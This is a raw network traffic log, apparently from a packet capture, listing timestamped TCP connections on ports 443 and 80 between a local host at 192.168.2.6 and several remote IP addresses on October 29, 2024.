Oct 29, 2024 15:27:46.133234024 CET	49975	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.133250952 CET	443	49975	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.133666039 CET	49976	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.133703947 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.133801937 CET	49977	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.133819103 CET	443	49977	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.169162989 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.169240952 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.169267893 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.169275999 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.169306040 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.169358015 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.169405937 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.186769009 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.186785936 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.317094088 CET	49978	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.317194939 CET	443	49978	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.319401026 CET	49978	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.343945980 CET	49979	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.343991041 CET	443	49979	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.344068050 CET	49979	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.344432116 CET	49980	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.344475985 CET	443	49980	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.344533920 CET	49980	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.344816923 CET	49981	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.344892025 CET	443	49981	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.344969988 CET	49981	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.345277071 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.345284939 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.345360994 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.345767021 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.345788002 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.345861912 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.348380089 CET	49978	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.348462105 CET	443	49978	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.349040031 CET	49979	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.349054098 CET	443	49979	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.349255085 CET	49980	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.349270105 CET	443	49980	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.349595070 CET	49981	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.349642038 CET	443	49981	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.349868059 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.349880934 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.350425005 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.350459099 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.375904083 CET	443	49971	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.382638931 CET	443	49972	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.385298967 CET	49971	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.385323048 CET	443	49971	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.385813951 CET	49971	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.385822058 CET	443	49971	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.386116028 CET	49972	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.386130095 CET	443	49972	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.386591911 CET	49972	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.386605978 CET	443	49972	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.390130043 CET	49984	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.390151978 CET	443	49984	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.390364885 CET	49984	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.396034956 CET	49984	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.396058083 CET	443	49984	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.439575911 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.445144892 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.516217947 CET	443	49971	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.516314983 CET	443	49971	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.516361952 CET	49971	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.516495943 CET	443	49972	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.516590118 CET	443	49972	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.516653061 CET	49972	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.521821022 CET	49971	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.521821022 CET	49971	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.521847010 CET	443	49971	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.521857977 CET	443	49971	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.523935080 CET	49972	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.523935080 CET	49972	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.523952007 CET	443	49972	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.523962975 CET	443	49972	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.526926041 CET	49985	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.526977062 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.527051926 CET	49985	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.527103901 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.527205944 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.527293921 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.527323008 CET	49985	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.527339935 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.527514935 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.527549028 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.539565086 CET	443	49974	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:46.540141106 CET	49974	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:46.540160894 CET	443	49974	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:46.543359995 CET	443	49974	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:46.543445110 CET	49974	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:46.544684887 CET	49974	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:46.544774055 CET	443	49974	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:46.545103073 CET	49974	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:46.545113087 CET	443	49974	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:46.639225960 CET	49974	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:46.703752995 CET	49987	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.703788042 CET	443	49987	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.703850031 CET	49987	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.704142094 CET	49988	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.704163074 CET	443	49988	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.704250097 CET	49988	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.704608917 CET	49989	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.704641104 CET	443	49989	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.704777956 CET	49989	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.704813957 CET	49990	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.704823017 CET	443	49990	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.705014944 CET	49991	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.705015898 CET	49990	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.705025911 CET	443	49991	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.705229998 CET	49987	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.705246925 CET	443	49987	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.705281019 CET	49991	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.705363989 CET	49988	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.705379963 CET	443	49988	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.705513954 CET	49989	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.705530882 CET	443	49989	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.705607891 CET	49990	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.705626011 CET	443	49990	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.705723047 CET	49991	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.705729961 CET	443	49991	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.718169928 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.718188047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.718203068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.718269110 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.718281984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.718288898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.718295097 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.718307972 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.718339920 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.718379021 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.718384981 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.718399048 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.718405008 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.718440056 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.718453884 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.719069958 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.719187975 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.730122089 CET	443	49974	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:46.751945972 CET	443	49974	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:46.752141953 CET	49974	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:46.758800030 CET	49974	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:46.758807898 CET	443	49974	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:46.795011044 CET	49992	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:46.795054913 CET	443	49992	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:46.795228958 CET	49992	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:46.795449972 CET	49992	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:46.795466900 CET	443	49992	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:46.864305973 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.864837885 CET	49976	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.864929914 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.865467072 CET	49976	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.865484953 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.873056889 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.873114109 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.873142004 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.873148918 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.873194933 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.873507977 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.873528004 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.873567104 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.873605013 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.873641968 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.873650074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.873656988 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.873686075 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.873717070 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.873847961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.873856068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.873910904 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.874703884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.874716997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.874722958 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.874730110 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.874737978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.874764919 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.874789953 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.875488043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.875571966 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.875580072 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.875586033 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.875595093 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.875607014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.875621080 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.875652075 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.876472950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.876590014 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.876607895 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:46.876646042 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:46.877161980 CET	443	49975	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.877697945 CET	49975	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.877736092 CET	443	49975	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.878104925 CET	49975	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.878117085 CET	443	49975	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.889108896 CET	443	49977	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.890660048 CET	49977	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.890680075 CET	443	49977	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.893048048 CET	49977	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.893053055 CET	443	49977	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.964001894 CET	443	49980	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.964348078 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.964368105 CET	49980	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.964389086 CET	443	49980	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.964549065 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.964576960 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.964605093 CET	443	49981	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.964764118 CET	49981	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.964780092 CET	443	49981	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.965531111 CET	443	49980	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.965631008 CET	49980	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.965639114 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.965717077 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.965990067 CET	443	49978	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.966082096 CET	443	49981	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.966164112 CET	49981	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.967255116 CET	49978	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.967320919 CET	443	49978	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.967366934 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.967454910 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.967545986 CET	49980	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.967642069 CET	443	49980	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.967916012 CET	49981	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.967991114 CET	443	49981	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.968116045 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.968147993 CET	443	49983	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.968179941 CET	49980	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.968190908 CET	443	49980	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.968266964 CET	49981	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.968282938 CET	443	49981	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.968432903 CET	443	49978	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.968512058 CET	49978	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.968830109 CET	49978	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.968935966 CET	443	49978	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.968955994 CET	49978	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.973058939 CET	443	49979	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.973423004 CET	49979	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.973438025 CET	443	49979	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.974517107 CET	443	49979	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.974832058 CET	49979	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.974953890 CET	49979	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:46.974958897 CET	443	49979	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.974998951 CET	443	49979	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:46.990436077 CET	49993	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:46.990463972 CET	443	49993	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:46.990525961 CET	49993	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:46.990998983 CET	49994	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:46.991045952 CET	443	49994	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:46.991187096 CET	49994	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:46.993870020 CET	49993	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:46.993891954 CET	443	49993	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:46.994148970 CET	49994	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:46.994178057 CET	443	49994	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:47.011348963 CET	443	49978	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.028755903 CET	49980	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.028764963 CET	49983	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.028764963 CET	49981	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.028846025 CET	49979	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.028940916 CET	49978	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.028974056 CET	443	49978	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.139082909 CET	49978	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.281522989 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.281591892 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.281665087 CET	49976	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.281953096 CET	49976	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.281980991 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.281997919 CET	49976	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.282005072 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.283710003 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.284164906 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.284194946 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.284671068 CET	49995	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.284702063 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.285026073 CET	49995	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.285157919 CET	49995	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.285177946 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.285646915 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.285729885 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.286082983 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.286178112 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.286238909 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.287255049 CET	443	49975	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.287327051 CET	443	49975	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.287374020 CET	49975	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.287457943 CET	49975	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.287477016 CET	443	49975	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.287491083 CET	49975	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.287498951 CET	443	49975	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.287556887 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287564039 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287589073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287595987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287600994 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287606955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287614107 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.287667036 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.287693977 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287703037 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287709951 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287733078 CET	443	49977	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.287741899 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.287763119 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287776947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287782907 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287786961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287794113 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287801027 CET	443	49977	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.287817955 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.287857056 CET	49977	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.287857056 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.287919998 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287926912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287939072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287944078 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287950993 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287956953 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287969112 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287974119 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287975073 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.287983894 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.287996054 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.288028955 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.288182974 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288191080 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288197041 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288203955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288232088 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.288248062 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.288367987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288374901 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288392067 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288398027 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288410902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288415909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288419008 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.288422108 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288450003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288455963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288458109 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.288471937 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.288475037 CET	80	49940	185.215.113.206	192.168.2.6
